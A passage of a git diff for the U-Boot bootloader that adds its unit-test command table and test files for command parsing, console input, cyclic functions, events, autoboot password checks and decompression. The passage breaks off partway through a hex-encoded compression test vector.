+ U_BOOT_CMD_MKENT(dm, CONFIG_SYS_MAXARGS, 1, do_ut_dm, "", ""),
+#endif
+#if defined(CONFIG_UT_ENV)
+ U_BOOT_CMD_MKENT(env, CONFIG_SYS_MAXARGS, 1, do_ut_env, "", ""),
+#endif
+ U_BOOT_CMD_MKENT(exit, CONFIG_SYS_MAXARGS, 1, do_ut_exit, "", ""),
+#ifdef CONFIG_CMD_FDT
+ U_BOOT_CMD_MKENT(fdt, CONFIG_SYS_MAXARGS, 1, do_ut_fdt, "", ""),
+#endif
+#ifdef CONFIG_CONSOLE_TRUETYPE
+ U_BOOT_CMD_MKENT(font, CONFIG_SYS_MAXARGS, 1, do_ut_font, "", ""),
+#endif
+#ifdef CONFIG_UT_OPTEE
+ U_BOOT_CMD_MKENT(optee, CONFIG_SYS_MAXARGS, 1, do_ut_optee, "", ""),
+#endif
+#ifdef CONFIG_UT_OVERLAY
+ U_BOOT_CMD_MKENT(overlay, CONFIG_SYS_MAXARGS, 1, do_ut_overlay, "", ""),
+#endif
+#ifdef CONFIG_UT_LIB
+ U_BOOT_CMD_MKENT(lib, CONFIG_SYS_MAXARGS, 1, do_ut_lib, "", ""),
+#endif
+#ifdef CONFIG_UT_LOG
+ U_BOOT_CMD_MKENT(log, CONFIG_SYS_MAXARGS, 1, do_ut_log, "", ""),
+#endif
+#if defined(CONFIG_SANDBOX) && defined(CONFIG_CMD_MBR) && defined(CONFIG_CMD_MMC) \
+ && defined(CONFIG_MMC_SANDBOX) && defined(CONFIG_MMC_WRITE)
+ U_BOOT_CMD_MKENT(mbr, CONFIG_SYS_MAXARGS, 1, do_ut_mbr, "", ""),
+#endif
+ U_BOOT_CMD_MKENT(mem, CONFIG_SYS_MAXARGS, 1, do_ut_mem, "", ""),
+#if defined(CONFIG_SANDBOX) && defined(CONFIG_CMD_SETEXPR)
+ U_BOOT_CMD_MKENT(setexpr, CONFIG_SYS_MAXARGS, 1, do_ut_setexpr, "",
+ ""),
+#endif
+ U_BOOT_CMD_MKENT(print, CONFIG_SYS_MAXARGS, 1, do_ut_print, "", ""),
+#ifdef CONFIG_UT_TIME
+ U_BOOT_CMD_MKENT(time, CONFIG_SYS_MAXARGS, 1, do_ut_time, "", ""),
+#endif
+#if CONFIG_IS_ENABLED(UT_UNICODE) && !defined(API_BUILD)
+ U_BOOT_CMD_MKENT(unicode, CONFIG_SYS_MAXARGS, 1, do_ut_unicode, "", ""),
+#endif
+#ifdef CONFIG_MEASURED_BOOT
+ U_BOOT_CMD_MKENT(measurement, CONFIG_SYS_MAXARGS, 1, do_ut_measurement,
+ "", ""),
+#endif
+#ifdef CONFIG_SANDBOX
+ U_BOOT_CMD_MKENT(compression, CONFIG_SYS_MAXARGS, 1, do_ut_compression,
+ "", ""),
+ U_BOOT_CMD_MKENT(bloblist, CONFIG_SYS_MAXARGS, 1, do_ut_bloblist,
+ "", ""),
+ U_BOOT_CMD_MKENT(bootm, CONFIG_SYS_MAXARGS, 1, do_ut_bootm, "", ""),
+#endif
+ U_BOOT_CMD_MKENT(str, CONFIG_SYS_MAXARGS, 1, do_ut_str, "", ""),
+#ifdef CONFIG_CMD_ADDRMAP
+ U_BOOT_CMD_MKENT(addrmap, CONFIG_SYS_MAXARGS, 1, do_ut_addrmap, "", ""),
+#endif
+#if CONFIG_IS_ENABLED(HUSH_PARSER)
+ U_BOOT_CMD_MKENT(hush, CONFIG_SYS_MAXARGS, 1, do_ut_hush, "", ""),
+#endif
+#ifdef CONFIG_CMD_LOADM
+ U_BOOT_CMD_MKENT(loadm, CONFIG_SYS_MAXARGS, 1, do_ut_loadm, "", ""),
+#endif
+#ifdef CONFIG_CMD_PCI_MPS
+ U_BOOT_CMD_MKENT(pci_mps, CONFIG_SYS_MAXARGS, 1, do_ut_pci_mps, "", ""),
+#endif
+#ifdef CONFIG_CMD_SEAMA
+ U_BOOT_CMD_MKENT(seama, CONFIG_SYS_MAXARGS, 1, do_ut_seama, "", ""),
+#endif
+};
+
+static int do_ut_all(struct cmd_tbl *cmdtp, int flag, int argc,
+ char *const argv[])
+{
+ int i;
+ int retval;
+ int any_fail = 0;
+
+ for (i = 1; i < ARRAY_SIZE(cmd_ut_sub); i++) {
+ printf("----Running %s tests----\n", cmd_ut_sub[i].name);
+ retval = cmd_ut_sub[i].cmd(cmdtp, flag, 1, &cmd_ut_sub[i].name);
+ if (!any_fail)
+ any_fail = retval;
+ }
+
+ return any_fail;
+}
+
+static int do_ut_info(struct cmd_tbl *cmdtp, int flag, int argc,
+ char *const argv[])
+{
+ printf("Test suites: %d\n", (int)ARRAY_SIZE(cmd_ut_sub));
+ printf("Total tests: %d\n", (int)UNIT_TEST_ALL_COUNT());
+
+ return 0;
+}
+
+static int do_ut(struct cmd_tbl *cmdtp, int flag, int argc, char *const argv[])
+{
+ struct cmd_tbl *cp;
+
+ if (argc < 2)
+ return CMD_RET_USAGE;
+
+ /* drop initial "ut" arg */
+ argc--;
+ argv++;
+
+ cp = find_cmd_tbl(argv[0], cmd_ut_sub, ARRAY_SIZE(cmd_ut_sub));
+
+ if (cp)
+ return cp->cmd(cmdtp, flag, argc, argv);
+
+ return CMD_RET_USAGE;
+}
+
+U_BOOT_LONGHELP(ut,
+ "[-r] [-f] [<suite>] - run unit tests\n"
+ " -r<runs> Number of times to run each test\n"
+ " -f Force 'manual' tests to run as well\n"
+ " <suite> Test suite to run, or all\n"
+ "\n"
+ "\nOptions for <suite>:"
+ "\nall - execute all enabled tests"
+ "\ninfo - show info about tests"
+#ifdef CONFIG_CMD_ADDRMAP
+ "\naddrmap - very basic test of addrmap command"
+#endif
+#ifdef CONFIG_CMD_BDI
+ "\nbdinfo - bdinfo command"
+#endif
+#ifdef CONFIG_SANDBOX
+ "\nbloblist - bloblist implementation"
+#endif
+#ifdef CONFIG_BOOTSTD
+ "\nbootstd - standard boot implementation"
+#endif
+#ifdef CONFIG_CMDLINE
+ "\ncmd - test various commands"
+#endif
+#ifdef CONFIG_SANDBOX
+ "\ncompression - compressors and bootm decompression"
+#endif
+#ifdef CONFIG_UT_DM
+ "\ndm - driver model"
+#endif
+#ifdef CONFIG_UT_ENV
+ "\nenv - environment"
+#endif
+#ifdef CONFIG_CMD_FDT
+ "\nfdt - fdt command"
+#endif
+#ifdef CONFIG_CONSOLE_TRUETYPE
+ "\nfont - font command"
+#endif
+#if CONFIG_IS_ENABLED(HUSH_PARSER)
+ "\nhush - Test hush behavior"
+#endif
+#ifdef CONFIG_CMD_LOADM
+ "\nloadm - loadm command parameters and loading memory blob"
+#endif
+#ifdef CONFIG_UT_LIB
+ "\nlib - library functions"
+#endif
+#ifdef CONFIG_UT_LOG
+ "\nlog - logging functions"
+#endif
+ "\nmem - memory-related commands"
+#ifdef CONFIG_UT_OPTEE
+ "\noptee - test OP-TEE"
+#endif
+#ifdef CONFIG_UT_OVERLAY
+ "\noverlay - device tree overlays"
+#endif
+#ifdef CONFIG_CMD_PCI_MPS
+ "\npci_mps - PCI Express Maximum Payload Size"
+#endif
+ "\nprint - printing things to the console"
+ "\nsetexpr - setexpr command"
+#ifdef CONFIG_SANDBOX
+ "\nstr - basic test of string functions"
+#endif
+#ifdef CONFIG_CMD_SEAMA
+ "\nseama - seama command parameters loading and decoding"
+#endif
+#ifdef CONFIG_UT_TIME
+ "\ntime - very basic test of time functions"
+#endif
+#if defined(CONFIG_UT_UNICODE) && \
+ !defined(CONFIG_SPL_BUILD) && !defined(API_BUILD)
+ "\nunicode - Unicode functions"
+#endif
+ );
+
+U_BOOT_CMD(
+ ut, CONFIG_SYS_MAXARGS, 1, do_ut,
+ "unit tests", ut_help_text
+);
diff --git a/test/command_ut.c b/test/command_ut.c
new file mode 100644
index 00000000000..2b8d28d7ae3
--- /dev/null
+++ b/test/command_ut.c
@@ -0,0 +1,104 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (c) 2012, The Chromium Authors
+ */
+
+#define DEBUG
+
+#include <command.h>
+#include <env.h>
+#include <log.h>
+#include <string.h>
+#include <linux/errno.h>
+
+static const char test_cmd[] = "setenv list 1\n setenv list ${list}2; "
+ "setenv list ${list}3\0"
+ "setenv list ${list}4";
+
+static int do_ut_cmd(struct cmd_tbl *cmdtp, int flag, int argc,
+ char *const argv[])
+{
+ char long_str[CONFIG_SYS_CBSIZE + 42];
+
+ printf("%s: Testing commands\n", __func__);
+ run_command("env default -f -a", 0);
+
+ /* commands separated by \n */
+ run_command_list("setenv list 1\n setenv list ${list}1", -1, 0);
+ assert(!strcmp("11", env_get("list")));
+
+ /* command followed by \n and nothing else */
+ run_command_list("setenv list 1${list}\n", -1, 0);
+ assert(!strcmp("111", env_get("list")));
+
+ /* a command string with \0 in it. Stuff after \0 should be ignored */
+ run_command("setenv list", 0);
+ run_command_list(test_cmd, sizeof(test_cmd), 0);
+ assert(!strcmp("123", env_get("list")));
+
+ /*
+ * a command list where we limit execution to only the first command
+ * using the length parameter.
+ */
+ run_command_list("setenv list 1\n setenv list ${list}2; "
+ "setenv list ${list}3", strlen("setenv list 1"), 0);
+ assert(!strcmp("1", env_get("list")));
+
+ assert(run_command("false", 0) == 1);
+ assert(run_command("echo", 0) == 0);
+ assert(run_command_list("false", -1, 0) == 1);
+ assert(run_command_list("echo", -1, 0) == 0);
+
+#ifdef CONFIG_HUSH_PARSER
+ run_command("setenv foo 'setenv black 1\nsetenv adder 2'", 0);
+ run_command("run foo", 0);
+ assert(env_get("black") != NULL);
+ assert(!strcmp("1", env_get("black")));
+ assert(env_get("adder") != NULL);
+ assert(!strcmp("2", env_get("adder")));
+#endif
+
+ assert(run_command("", 0) == 0);
+ assert(run_command(" ", 0) == 0);
+
+ assert(run_command("'", 0) == 1);
+
+ /* Variadic function test-cases */
+#pragma GCC diagnostic push
+#pragma GCC diagnostic ignored "-Wformat-zero-length"
+ assert(run_commandf("") == 0);
+#pragma GCC diagnostic pop
+ assert(run_commandf(" ") == 0);
+ assert(run_commandf("'") == 1);
+
+ assert(run_commandf("env %s %s", "delete -f", "list") == 0);
+ /* Expected: "Error: "list" not defined" */
+ assert(run_commandf("printenv list") == 1);
+
+ memset(long_str, 'x', sizeof(long_str));
+ assert(run_commandf("Truncation case: %s", long_str) == -ENOSPC);
+
+ if (IS_ENABLED(CONFIG_HUSH_PARSER)) {
+ assert(run_commandf("env %s %s %s %s", "delete -f", "adder",
+ "black", "foo") == 0);
+ assert(run_commandf("setenv foo 'setenv %s 1\nsetenv %s 2'",
+ "black", "adder") == 0);
+ run_command("run foo", 0);
+ assert(env_get("black"));
+ assert(!strcmp("1", env_get("black")));
+ assert(env_get("adder"));
+ assert(!strcmp("2", env_get("adder")));
+ }
+
+ /* Clean up before exit */
+ run_command("env default -f -a", 0);
+
+ printf("%s: Everything went swimmingly\n", __func__);
+ return 0;
+}
+
+U_BOOT_CMD(
+ ut_cmd, 5, 1, do_ut_cmd,
+ "Very basic test of command parsers",
+ ""
+);
diff --git a/test/common.sh b/test/common.sh
new file mode 100644
index 00000000000..904d579b7bf
--- /dev/null
+++ b/test/common.sh
@@ -0,0 +1,20 @@
+#!/bin/sh
+
+OUTPUT_DIR=sandbox
+
+fail() {
+ echo "Test failed: $1"
+ if [ -n ${tmp} ]; then
+ rm ${tmp}
+ fi
+ exit 1
+}
+
+build_uboot() {
+ echo "Build sandbox"
+ OPTS="O=${OUTPUT_DIR} $1"
+ NUM_CPUS=$(nproc)
+ echo ${OPTS}
+ make ${OPTS} sandbox_config
+ make ${OPTS} -s -j${NUM_CPUS}
+}
diff --git a/test/common/Makefile b/test/common/Makefile
new file mode 100644
index 00000000000..12c65f8c951
--- /dev/null
+++ b/test/common/Makefile
@@ -0,0 +1,6 @@
+# SPDX-License-Identifier: GPL-2.0+
+obj-y += cmd_ut_common.o
+obj-$(CONFIG_AUTOBOOT) += test_autoboot.o
+obj-$(CONFIG_CYCLIC) += cyclic.o
+obj-$(CONFIG_EVENT_DYNAMIC) += event.o
+obj-y += cread.o
diff --git a/test/common/cmd_ut_common.c b/test/common/cmd_ut_common.c
new file mode 100644
index 00000000000..2f03a58af47
--- /dev/null
+++ b/test/common/cmd_ut_common.c
@@ -0,0 +1,21 @@
+// SPDX-License-Identifier: GPL-2.0
+/*
+ * Copyright (c) 2019 Heinrich Schuchardt <xypron.glpk@gmx.de>
+ * Copyright (c) 2021 Steffen Jaeckel <jaeckel-floss@eyet-services.de>
+ *
+ * Unit tests for common functions
+ */
+
+#include <command.h>
+#include <test/common.h>
+#include <test/suites.h>
+#include <test/ut.h>
+
+int do_ut_common(struct cmd_tbl *cmdtp, int flag, int argc, char *const argv[])
+{
+ struct unit_test *tests = UNIT_TEST_SUITE_START(common_test);
+ const int n_ents = UNIT_TEST_SUITE_COUNT(common_test);
+
+ return cmd_ut_category("common", "common_test_", tests, n_ents, argc,
+ argv);
+}
diff --git a/test/common/cread.c b/test/common/cread.c
new file mode 100644
index 00000000000..e159caed041
--- /dev/null
+++ b/test/common/cread.c
@@ -0,0 +1,105 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright 2023 Google LLC
+ */
+
+#include <cli.h>
+#include <time.h>
+#include <test/common.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+static int cli_ch_test(struct unit_test_state *uts)
+{
+ struct cli_ch_state s_cch, *cch = &s_cch;
+
+ cli_ch_init(cch);
+
+ /* should be nothing to return at first */
+ ut_asserteq(0, cli_ch_process(cch, 0));
+
+ /* check normal entry */
+ ut_asserteq('a', cli_ch_process(cch, 'a'));
+ ut_asserteq('b', cli_ch_process(cch, 'b'));
+ ut_asserteq('c', cli_ch_process(cch, 'c'));
+ ut_asserteq(0, cli_ch_process(cch, 0));
+
+ /* send an invalid escape sequence */
+ ut_asserteq(0, cli_ch_process(cch, '\e'));
+ ut_asserteq(0, cli_ch_process(cch, '['));
+
+ /*
+ * with the next char it sees that the sequence is invalid, so starts
+ * emitting it
+ */
+ ut_asserteq('\e', cli_ch_process(cch, 'X'));
+
+ /* now we set 0 bytes to empty the buffer */
+ ut_asserteq('[', cli_ch_process(cch, 0));
+ ut_asserteq('X', cli_ch_process(cch, 0));
+ ut_asserteq(0, cli_ch_process(cch, 0));
+
+ /* things are normal again */
+ ut_asserteq('a', cli_ch_process(cch, 'a'));
+ ut_asserteq(0, cli_ch_process(cch, 0));
+
+ /* unexpected 'Esc' */
+ ut_asserteq('a', cli_ch_process(cch, 'a'));
+ ut_asserteq(0, cli_ch_process(cch, '\e'));
+ ut_asserteq('b', cli_ch_process(cch, 'b'));
+ ut_asserteq(0, cli_ch_process(cch, 0));
+
+ return 0;
+}
+COMMON_TEST(cli_ch_test, 0);
+
+static int cread_test(struct unit_test_state *uts)
+{
+ int duration;
+ ulong start;
+ char buf[10];
+
+ /*
+ * useful for debugging
+ *
+ * gd->flags &= ~GD_FLG_RECORD;
+ * print_buffer(0, buf, 1, 7, 0);
+ */
+
+ console_record_reset_enable();
+
+ /* simple input */
+ *buf = '\0';
+ ut_asserteq(4, console_in_puts("abc\n"));
+ ut_asserteq(3, cli_readline_into_buffer("-> ", buf, 1));
+ ut_asserteq_str("abc", buf);
+
+ /* try an escape sequence (cursor left after the 'c') */
+ *buf = '\0';
+ ut_asserteq(8, console_in_puts("abc\e[Dx\n"));
+ ut_asserteq(4, cli_readline_into_buffer("-> ", buf, 1));
+ ut_asserteq_str("abxc", buf);
+
+ /* invalid escape sequence */
+ *buf = '\0';
+ ut_asserteq(8, console_in_puts("abc\e[Xx\n"));
+ ut_asserteq(7, cli_readline_into_buffer("-> ", buf, 1));
+ ut_asserteq_str("abc\e[Xx", buf);
+
+ /* unexpected 'Esc' */
+ *buf = '\0';
+ ut_asserteq(7, console_in_puts("abc\eXx\n"));
+ ut_asserteq(5, cli_readline_into_buffer("-> ", buf, 1));
+ ut_asserteq_str("abcXx", buf);
+
+ /* check timeout, should be between 1000 and 1050ms */
+ start = get_timer(0);
+ *buf = '\0';
+ ut_asserteq(-2, cli_readline_into_buffer("-> ", buf, 1));
+ duration = get_timer(start) - 1000;
+ ut_assert(duration >= 0);
+ ut_assert(duration < 50);
+
+ return 0;
+}
+COMMON_TEST(cread_test, 0);
diff --git a/test/common/cyclic.c b/test/common/cyclic.c
new file mode 100644
index 00000000000..461f8cf91f4
--- /dev/null
+++ b/test/common/cyclic.c
@@ -0,0 +1,34 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (C) 2022 Stefan Roese <sr@denx.de>
+ */
+
+#include <cyclic.h>
+#include <dm.h>
+#include <test/common.h>
+#include <test/test.h>
+#include <test/ut.h>
+#include <watchdog.h>
+#include <linux/delay.h>
+
+/* Test that cyclic function is called */
+static bool cyclic_active = false;
+
+static void cyclic_test(void *ctx)
+{
+ cyclic_active = true;
+}
+
+static int dm_test_cyclic_running(struct unit_test_state *uts)
+{
+ cyclic_active = false;
+ ut_assertnonnull(cyclic_register(cyclic_test, 10 * 1000, "cyclic_demo",
+ NULL));
+
+ /* Execute all registered cyclic functions */
+ schedule();
+ ut_asserteq(true, cyclic_active);
+
+ return 0;
+}
+COMMON_TEST(dm_test_cyclic_running, 0);
diff --git a/test/common/event.c b/test/common/event.c
new file mode 100644
index 00000000000..de433d34f22
--- /dev/null
+++ b/test/common/event.c
@@ -0,0 +1,109 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Unit tests for event handling
+ *
+ * Copyright 2021 Google LLC
+ * Written by Simon Glass <sjg@chromium.org>
+ */
+
+#include <dm.h>
+#include <event.h>
+#include <test/common.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+struct test_state {
+ struct udevice *dev;
+ int val;
+};
+
+static bool called;
+
+static int h_adder(void *ctx, struct event *event)
+{
+ struct event_data_test *data = &event->data.test;
+ struct test_state *test_state = ctx;
+
+ test_state->val += data->signal;
+
+ return 0;
+}
+
+static int h_adder_simple(void)
+{
+ called = true;
+
+ return 0;
+}
+EVENT_SPY_SIMPLE(EVT_TEST, h_adder_simple);
+
+static int test_event_base(struct unit_test_state *uts)
+{
+ struct test_state state;
+ int signal;
+
+ state.val = 12;
+ ut_assertok(event_register("wibble", EVT_TEST, h_adder, &state));
+
+ signal = 17;
+
+ /* Check that the handler is called */
+ ut_assertok(event_notify(EVT_TEST, &signal, sizeof(signal)));
+ ut_asserteq(12 + 17, state.val);
+
+ return 0;
+}
+COMMON_TEST(test_event_base, 0);
+
+static int test_event_simple(struct unit_test_state *uts)
+{
+ called = false;
+
+ /* Check that the handler is called */
+ ut_assertok(event_notify_null(EVT_TEST));
+ ut_assert(called);
+
+ return 0;
+}
+COMMON_TEST(test_event_simple, 0);
+
+static int h_probe(void *ctx, struct event *event)
+{
+ struct test_state *test_state = ctx;
+
+ test_state->dev = event->data.dm.dev;
+ switch (event->type) {
+ case EVT_DM_PRE_PROBE:
+ test_state->val |= 1;
+ break;
+ case EVT_DM_POST_PROBE:
+ test_state->val |= 2;
+ break;
+ default:
+ break;
+ }
+
+ return 0;
+}
+
+static int test_event_probe(struct unit_test_state *uts)
+{
+ struct test_state state;
+ struct udevice *dev;
+
+ if (!IS_ENABLED(SANDBOX))
+ return -EAGAIN;
+
+ state.val = 0;
+ ut_assertok(event_register("pre", EVT_DM_PRE_PROBE, h_probe, &state));
+ ut_assertok(event_register("post", EVT_DM_POST_PROBE, h_probe, &state));
+
+ /* Probe a device */
+ ut_assertok(uclass_first_device_err(UCLASS_TEST_FDT, &dev));
+
+ /* Check that the handler is called */
+ ut_asserteq(3, state.val);
+
+ return 0;
+}
+COMMON_TEST(test_event_probe, UT_TESTF_DM | UT_TESTF_SCAN_FDT);
diff --git a/test/common/test_autoboot.c b/test/common/test_autoboot.c
new file mode 100644
index 00000000000..4ba1dcc8091
--- /dev/null
+++ b/test/common/test_autoboot.c
@@ -0,0 +1,95 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (c) 2021 Steffen Jaeckel
+ *
+ * Unit tests for autoboot functionality
+ */
+
+#include <autoboot.h>
+#include <test/common.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+#include <crypt.h>
+
+static int check_for_input(struct unit_test_state *uts, const char *in,
+ bool correct)
+{
+ bool old_val;
+ /* The bootdelay is set to 1 second in test_autoboot() */
+ const char *autoboot_prompt =
+ "Enter password \"a\" in 1 seconds to stop autoboot";
+
+ console_record_reset_enable();
+ console_in_puts(in);
+
+ /* turn on keyed autoboot for the test, if possible */
+ old_val = autoboot_set_keyed(true);
+ autoboot_command("echo Autoboot password unlock not successful");
+ old_val = autoboot_set_keyed(old_val);
+
+ ut_assert_nextline(autoboot_prompt);
+ if (!correct)
+ ut_assert_nextline("Autoboot password unlock not successful");
+ ut_assert_console_end();
+ return 0;
+}
+
+/**
+ * test_autoboot() - unit test for autoboot
+ *
+ * @uts: unit test state
+ * Return: 0 = success, 1 = failure
+ */
+static int test_autoboot(struct unit_test_state *uts)
+{
+ /* make sure that the bootdelay is set to something,
+ * otherwise the called functions will time out
+ */
+ ut_assertok(env_set("bootdelay", "1"));
+ bootdelay_process();
+
+ /* unset all relevant environment variables */
+ env_set("bootstopusesha256", NULL);
+ env_set("bootstopkeycrypt", NULL);
+ env_set("bootstopkeysha256", NULL);
+
+ if (IS_ENABLED(CONFIG_CRYPT_PW_SHA256)) {
+ /* test the default password from CONFIG_AUTOBOOT_STOP_STR_CRYPT */
+ ut_assertok(check_for_input(uts, "a\n", true));
+ /* test a password from the `bootstopkeycrypt` environment variable */
+ ut_assertok(env_set(
+ "bootstopkeycrypt",
+ "$5$rounds=640000$ycgRgpnRq4lmu.eb$aZ6YJWdklvyLML13w7mEHMHJnJOux6aptnp6VlsR5a9"));
+
+ ut_assertok(check_for_input(uts, "test\n", true));
+
+ /* verify that the `bootstopusesha256` variable is treated correctly */
+ ut_assertok(env_set("bootstopusesha256", "false"));
+ ut_assertok(check_for_input(uts, "test\n", true));
+ }
+
+ if (IS_ENABLED(CONFIG_AUTOBOOT_ENCRYPTION)) {
+ /* test the `bootstopusesha256` and `bootstopkeysha256` features */
+ ut_assertok(env_set("bootstopusesha256", "true"));
+ ut_assertok(env_set(
+ "bootstopkeysha256",
+ "edeaaff3f1774ad2888673770c6d64097e391bc362d7d6fb34982ddf0efd18cb"));
+
+ ut_assertok(check_for_input(uts, "abc\n", true));
+
+ ut_assertok(env_set(
+ "bootstopkeysha256",
+ "ba7816bf8f01cfea414140de5dae2223b00361a396177a9cb410ff61f20015ad"));
+
+ ut_assertok(check_for_input(uts, "abc", true));
+
+ ut_assertok(check_for_input(uts, "abc\n", true));
+
+ ut_assertok(check_for_input(uts, "abd", false));
+ }
+
+ return CMD_RET_SUCCESS;
+}
+
+COMMON_TEST(test_autoboot, 0);
diff --git a/test/compression.c b/test/compression.c
new file mode 100644
index 00000000000..aa1d38bb7bc
--- /dev/null
+++ b/test/compression.c
@@ -0,0 +1,620 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (c) 2013, The Chromium Authors
+ */
+
+#include <abuf.h>
+#include <bootm.h>
+#include <command.h>
+#include <gzip.h>
+#include <image.h>
+#include <log.h>
+#include <malloc.h>
+#include <mapmem.h>
+#include <asm/io.h>
+
+#include <u-boot/lz4.h>
+#include <u-boot/zlib.h>
+#include <bzlib.h>
+
+#include <lzma/LzmaTypes.h>
+#include <lzma/LzmaDec.h>
+#include <lzma/LzmaTools.h>
+
+#include <linux/lzo.h>
+#include <linux/zstd.h>
+#include <test/compression.h>
+#include <test/suites.h>
+#include <test/ut.h>
+
+static const char plain[] =
+ "I am a highly compressable bit of text.\n"
+ "I am a highly compressable bit of text.\n"
+ "I am a highly compressable bit of text.\n"
+ "There are many like me, but this one is mine.\n"
+ "If I were any shorter, there wouldn't be much sense in\n"
+ "compressing me in the first place. At least with lzo, anyway,\n"
+ "which appears to behave poorly in the face of short text\n"
+ "messages.\n";
+
+/* bzip2 -c /tmp/plain.txt > /tmp/plain.bz2 */
+static const char bzip2_compressed[] =
+ "\x42\x5a\x68\x39\x31\x41\x59\x26\x53\x59\xe5\x63\xdd\x09\x00\x00"
+ "\x28\x57\x80\x00\x10\x40\x85\x20\x20\x04\x00\x3f\xef\xdf\xf0\x30"
+ "\x00\xd6\xd0\x34\x91\x89\xa6\xf5\x4d\x19\x1a\x19\x0d\x02\x34\xd4"
+ "\xc9\x00\x34\x34\x00\x02\x48\x41\x35\x4f\xd4\xc6\x88\xd3\x50\x3d"
+ "\x4f\x51\x82\x4f\x88\xc3\x0d\x05\x62\x4f\x91\xa3\x52\x1b\xd0\x52"
+ "\x41\x4a\xa3\x98\xc2\x6b\xca\xa3\x82\xa5\xac\x8b\x15\x99\x68\xad"
+ "\xdf\x29\xd6\xf1\xf7\x5a\x10\xcd\x8c\x26\x61\x94\x95\xfe\x9e\x16"
+ "\x18\x28\x69\xd4\x23\x64\xcc\x2b\xe5\xe8\x5f\x00\xa4\x70\x26\x2c"
+ "\xee\xbd\x59\x6d\x6a\xec\xfc\x31\xda\x59\x0a\x14\x2a\x60\x1c\xf0"
+ "\x04\x86\x73\x9a\xc5\x5b\x87\x3f\x5b\x4c\x93\xe6\xb5\x35\x0d\xa6"
+ "\xb1\x2e\x62\x7b\xab\x67\xe7\x99\x2a\x14\x5e\x9f\x64\xcb\x96\xf4"
+ "\x0d\x65\xd4\x39\xe6\x8b\x7e\xea\x1c\x03\x69\x97\x83\x58\x91\x96"
+ "\xe1\xf0\x9d\xa4\x15\x8b\xb8\xc6\x93\xdc\x3d\xd9\x3c\x22\x55\xef"
+ "\xfb\xbb\x2a\xd3\x87\xa2\x8b\x04\xd9\x19\xf8\xe2\xfd\x4f\xdb\x1a"
+ "\x07\xc8\x60\xa3\x3f\xf8\xbb\x92\x29\xc2\x84\x87\x2b\x1e\xe8\x48";
+static const unsigned long bzip2_compressed_size = sizeof(bzip2_compressed) - 1;
+
+/* lzma -z -c /tmp/plain.txt > /tmp/plain.lzma */
+static const char lzma_compressed[] =
+ "\x5d\x00\x00\x80\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x24\x88"
+ "\x08\x26\xd8\x41\xff\x99\xc8\xcf\x66\x3d\x80\xac\xba\x17\xf1\xc8"
+ "\xb9\xdf\x49\x37\xb1\x68\xa0\x2a\xdd\x63\xd1\xa7\xa3\x66\xf8\x15"
+ "\xef\xa6\x67\x8a\x14\x18\x80\xcb\xc7\xb1\xcb\x84\x6a\xb2\x51\x16"
+ "\xa1\x45\xa0\xd6\x3e\x55\x44\x8a\x5c\xa0\x7c\xe5\xa8\xbd\x04\x57"
+ "\x8f\x24\xfd\xb9\x34\x50\x83\x2f\xf3\x46\x3e\xb9\xb0\x00\x1a\xf5"
+ "\xd3\x86\x7e\x8f\x77\xd1\x5d\x0e\x7c\xe1\xac\xde\xf8\x65\x1f\x4d"
+ "\xce\x7f\xa7\x3d\xaa\xcf\x26\xa7\x58\x69\x1e\x4c\xea\x68\x8a\xe5"
+ "\x89\xd1\xdc\x4d\xc7\xe0\x07\x42\xbf\x0c\x9d\x06\xd7\x51\xa2\x0b"
+ "\x7c\x83\x35\xe1\x85\xdf\xee\xfb\xa3\xee\x2f\x47\x5f\x8b\x70\x2b"
+ "\xe1\x37\xf3\x16\xf6\x27\x54\x8a\x33\x72\x49\xea\x53\x7d\x60\x0b"
+ "\x21\x90\x66\xe7\x9e\x56\x61\x5d\xd8\xdc\x59\xf0\xac\x2f\xd6\x49"
+ "\x6b\x85\x40\x08\x1f\xdf\x26\x25\x3b\x72\x44\xb0\xb8\x21\x2f\xb3"
+ "\xd7\x9b\x24\x30\x78\x26\x44\x07\xc3\x33\xd1\x4d\x03\x1b\xe1\xff"
+ "\xfd\xf5\x50\x8d\xca";
+static const unsigned long lzma_compressed_size = sizeof(lzma_compressed) - 1;
+
+/* lzop -c /tmp/plain.txt > /tmp/plain.lzo */
+static const char lzo_compressed[] =
+ "\x89\x4c\x5a\x4f\x00\x0d\x0a\x1a\x0a\x10\x30\x20\x60\x09\x40\x01"
+ "\x05\x03\x00\x00\x09\x00\x00\x81\xb4\x52\x09\x54\xf1\x00\x00\x00"
+ "\x00\x09\x70\x6c\x61\x69\x6e\x2e\x74\x78\x74\x65\xb1\x07\x9c\x00"
+ "\x00\x01\x5e\x00\x00\x01\x0f\xc3\xc7\x7a\xe0\x00\x16\x49\x20\x61"
+ "\x6d\x20\x61\x20\x68\x69\x67\x68\x6c\x79\x20\x63\x6f\x6d\x70\x72"
+ "\x65\x73\x73\x61\x62\x6c\x65\x20\x62\x69\x74\x20\x6f\x66\x20\x74"
+ "\x65\x78\x74\x2e\x0a\x20\x2f\x9c\x00\x00\x22\x54\x68\x65\x72\x65"
+ "\x20\x61\x72\x65\x20\x6d\x61\x6e\x79\x20\x6c\x69\x6b\x65\x20\x6d"
+ "\x65\x2c\x20\x62\x75\x74\x20\x74\x68\x69\x73\x20\x6f\x6e\x65\x20"
+ "\x69\x73\x20\x6d\x69\x6e\x65\x2e\x0a\x49\x66\x20\x49\x20\x77\x84"
+ "\x06\x0a\x6e\x79\x20\x73\x68\x6f\x72\x74\x65\x72\x2c\x20\x74\x90"
+ "\x08\x00\x08\x77\x6f\x75\x6c\x64\x6e\x27\x74\x20\x62\x65\x20\x6d"
+ "\x75\x63\x68\x20\x73\x65\x6e\x73\x65\x20\x69\x6e\x0a\xf8\x19\x02"
+ "\x69\x6e\x67\x20\x6d\x64\x02\x64\x06\x00\x5a\x20\x66\x69\x72\x73"
+ "\x74\x20\x70\x6c\x61\x63\x65\x2e\x20\x41\x74\x20\x6c\x65\x61\x73"
+ "\x74\x20\x77\x69\x74\x68\x20\x6c\x7a\x6f\x2c\x20\x61\x6e\x79\x77"
